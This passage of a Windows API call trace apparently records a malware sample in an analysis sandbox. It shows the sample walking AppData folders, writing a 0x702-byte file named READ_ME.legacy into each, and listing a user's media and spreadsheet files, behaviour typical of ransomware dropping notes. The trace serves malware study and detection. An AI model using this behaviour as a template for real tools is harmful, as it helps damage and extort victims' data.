CloseHandle (hObject=0x6a4) returned 1 [0117.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0117.453] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0117.453] FindNextFileW (in: hFindFile=0x567058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0117.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0117.454] GetLastError () returned 0x0 [0117.454] SetLastError (dwErrCode=0x0) [0117.454] GetLastError () returned 0x0 [0117.454] SetLastError (dwErrCode=0x0) [0117.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0117.454] GetLastError () returned 0x0 [0117.454] SetLastError (dwErrCode=0x0) [0117.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0117.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0117.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0117.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bf8 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566f98 [0117.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f98 | out: hHeap=0x520000) returned 1 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0117.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0117.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0117.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0117.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bf8 | out: hHeap=0x520000) returned 1 [0117.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0117.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d10 | out: hHeap=0x520000) returned 1 [0117.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0117.456] FindNextFileW (in: hFindFile=0x567058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7275453, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0117.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0117.456] GetLastError () returned 0x0 [0117.456] SetLastError (dwErrCode=0x0) [0117.456] GetLastError () returned 0x0 [0117.456] SetLastError (dwErrCode=0x0) [0117.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0117.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0117.456] GetLastError () returned 0x0 [0117.456] SetLastError (dwErrCode=0x0) [0117.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0117.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0117.456] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0117.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0117.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0117.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0117.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0117.457] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0117.457] GetLastError () returned 0x0 [0117.457] SetLastError (dwErrCode=0x0) [0117.457] GetLastError () returned 0x0 [0117.457] SetLastError (dwErrCode=0x0) [0117.457] GetLastError () returned 0x0 [0117.457] SetLastError (dwErrCode=0x0) [0117.457] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0117.457] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Mozilla\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\mozilla\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0117.458] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0117.458] WriteFile (in: hFile=0x6a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.459] CloseHandle (hObject=0x6a4) returned 1 [0117.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0117.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0117.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0117.460] FindNextFileW (in: hFindFile=0x567058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd30aeaa6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd30aeaa6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30d5758, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0117.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0117.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0117.460] GetLastError () returned 0x0 [0117.460] SetLastError (dwErrCode=0x0) [0117.460] GetLastError () returned 0x0 [0117.460] SetLastError (dwErrCode=0x0) [0117.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0117.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0117.460] GetLastError () returned 0x0 [0117.460] SetLastError (dwErrCode=0x0) [0117.460] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bf8 [0117.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bf8 | out: hHeap=0x520000) returned 1 [0117.461] FindNextFileW (in: hFindFile=0x567058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Sun", cAlternateFileName="")) returned 1 [0117.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0117.461] GetLastError () returned 0x0 [0117.461] SetLastError (dwErrCode=0x0) [0117.461] GetLastError () returned 0x0 [0117.461] SetLastError (dwErrCode=0x0) [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0117.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0117.461] GetLastError () returned 0x0 [0117.461] SetLastError (dwErrCode=0x0) [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b30 [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0117.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0117.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0117.462] GetLastError () returned 0x0 [0117.462] SetLastError (dwErrCode=0x0) [0117.462] GetLastError () returned 0x0 [0117.462] SetLastError (dwErrCode=0x0) [0117.462] GetLastError () returned 0x0 [0117.462] SetLastError (dwErrCode=0x0) [0117.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0117.462] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\sun\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0117.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0117.463] WriteFile (in: hFile=0x6a4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0117.464] CloseHandle (hObject=0x6a4) returned 1 [0117.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0117.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0117.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0117.465] FindNextFileW (in: hFindFile=0x567058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Sun", cAlternateFileName="")) returned 0 [0117.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0117.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0117.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0117.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0117.465] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566e58 [0117.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0117.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0117.465] GetLastError () returned 0x12 [0117.465] SetLastError (dwErrCode=0x12) [0117.465] GetLastError () returned 0x12 [0117.465] SetLastError (dwErrCode=0x12) [0117.466] GetLastError () returned 0x12 [0117.466] SetLastError (dwErrCode=0x12) [0117.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0117.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0117.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c98 [0117.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566d58 [0117.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d58 | out: hHeap=0x520000) returned 1 [0117.466] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0117.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0117.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c98 | out: hHeap=0x520000) returned 1 [0117.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.466] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd1fd61af, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1fd61af, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0117.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0117.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0117.468] GetLastError () returned 0x12 [0117.468] SetLastError (dwErrCode=0x12) [0117.468] GetLastError () returned 0x12 [0117.468] SetLastError (dwErrCode=0x12) [0117.468] GetLastError () returned 0x12 [0117.468] SetLastError (dwErrCode=0x12) [0117.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0117.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0117.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0117.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0117.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566c98 [0117.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c98 | out: hHeap=0x520000) returned 1 [0117.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0117.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0117.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0117.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0117.469] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f566690, ftCreationTime.dwHighDateTime=0x1d4d5df, ftLastAccessTime.dwLowDateTime=0x1f5e330, ftLastAccessTime.dwHighDateTime=0x1d4d080, ftLastWriteTime.dwLowDateTime=0x1f5e330, ftLastWriteTime.dwHighDateTime=0x1d4d080, nFileSizeHigh=0x0, nFileSizeLow=0x58d4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="-GJwjeUmEuPXS0yxP.avi", cAlternateFileName="-GJWJE~1.AVI")) returned 1 [0117.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0117.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0117.469] GetLastError () returned 0x12 [0117.469] SetLastError (dwErrCode=0x12) [0117.469] GetLastError () returned 0x12 [0117.469] SetLastError (dwErrCode=0x12) [0117.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0117.469] GetLastError () returned 0x12 [0117.469] SetLastError (dwErrCode=0x12) [0117.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0117.469] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6947a1a0, ftCreationTime.dwHighDateTime=0x1d4c8cd, ftLastAccessTime.dwLowDateTime=0x892921a0, ftLastAccessTime.dwHighDateTime=0x1d4d3e6, ftLastWriteTime.dwLowDateTime=0x892921a0, ftLastWriteTime.dwHighDateTime=0x1d4d3e6, nFileSizeHigh=0x0, nFileSizeLow=0x26af, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="1gqIePIojUZd8h.flv", cAlternateFileName="1GQIEP~1.FLV")) returned 1 [0117.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0117.513] GetLastError () returned 0x12 [0117.513] SetLastError (dwErrCode=0x12) [0117.513] GetLastError () returned 0x12 [0117.513] SetLastError (dwErrCode=0x12) [0117.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0117.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0117.513] GetLastError () returned 0x12 [0117.513] SetLastError (dwErrCode=0x12) [0117.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0117.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0117.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0117.513] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6949430, ftCreationTime.dwHighDateTime=0x1d4cba7, ftLastAccessTime.dwLowDateTime=0x6b3e8e10, ftLastAccessTime.dwHighDateTime=0x1d4cada, ftLastWriteTime.dwLowDateTime=0x6b3e8e10, ftLastWriteTime.dwHighDateTime=0x1d4cada, nFileSizeHigh=0x0, nFileSizeLow=0x9864, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="28Du.gif", cAlternateFileName="")) returned 1 [0117.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0117.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0117.514] GetLastError () returned 0x12 [0117.514] SetLastError (dwErrCode=0x12) [0117.514] GetLastError () returned 0x12 [0117.514] SetLastError (dwErrCode=0x12) [0117.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0117.514] GetLastError () returned 0x12 [0117.514] SetLastError (dwErrCode=0x12) [0117.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0117.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0117.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0117.514] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x595f6300, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x23c26730, ftLastAccessTime.dwHighDateTime=0x1d4cc2b, ftLastWriteTime.dwLowDateTime=0x23c26730, ftLastWriteTime.dwHighDateTime=0x1d4cc2b, nFileSizeHigh=0x0, nFileSizeLow=0xb32d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="3vdL0rQ_1x4ZXXzw1.xlsx", cAlternateFileName="3VDL0R~1.XLS")) returned 1 [0117.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0117.514] GetLastError () returned 0x12 [0117.514] SetLastError (dwErrCode=0x12) [0117.515] GetLastError () returned 0x12 [0117.515] SetLastError (dwErrCode=0x12) [0117.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0117.515] GetLastError () returned 0x12 [0117.515] SetLastError (dwErrCode=0x12) [0117.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0117.515] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8129ab10, ftCreationTime.dwHighDateTime=0x1d4ceae, ftLastAccessTime.dwLowDateTime=0x52299530, ftLastAccessTime.dwHighDateTime=0x1d4cf05, ftLastWriteTime.dwLowDateTime=0x52299530, ftLastWriteTime.dwHighDateTime=0x1d4cf05, nFileSizeHigh=0x0, nFileSizeLow=0x2b6f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="5PuIwJvIS.flv", cAlternateFileName="5PUIWJ~1.FLV")) returned 1 [0117.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0117.515] GetLastError () returned 0x12 [0117.515] SetLastError (dwErrCode=0x12) [0117.515] GetLastError () returned 0x12 [0117.515] SetLastError (dwErrCode=0x12) [0117.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0117.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0117.516] GetLastError () returned 0x12 [0117.516] SetLastError (dwErrCode=0x12) [0117.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0117.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0117.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0117.516] FindNextFileW (in: hFindFile=0x566e58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfd5580, ftCreationTime.dwHighDateTime=0x1d4ce09, ftLastAccessTime.dwLowDateTime=0xae9871c0, ftLastAccessTime.dwHighDateTime=0x1d4c9a5, ftLastWriteTime.dwLowDateTime=0xae9871c0, ftLastWriteTime.dwHighDateTime=0x1d4c9a5, nFileSizeHigh=0x0, nFileSizeLow=0x2100, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="60vWEujdA.jpg", cAlternateFileName="60VWEU~1.JPG")) returned 1 [0117.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0117.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0117.516] GetLastError () returned 0x12 [0117.516] SetLastError (dwErrCode=0x12) [0117.516] GetLastError () returned 0x12 [0117.516] SetLastError (dwErrCode=0x12) [0117.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0117.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0117.516] GetLastError () returned 0x12 [0117.591] SetLastError (dwErrCode=0x12) [0117.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bf8 [0117.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bf8 | out: hHeap=0x520000) returned 1 [0117.592] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 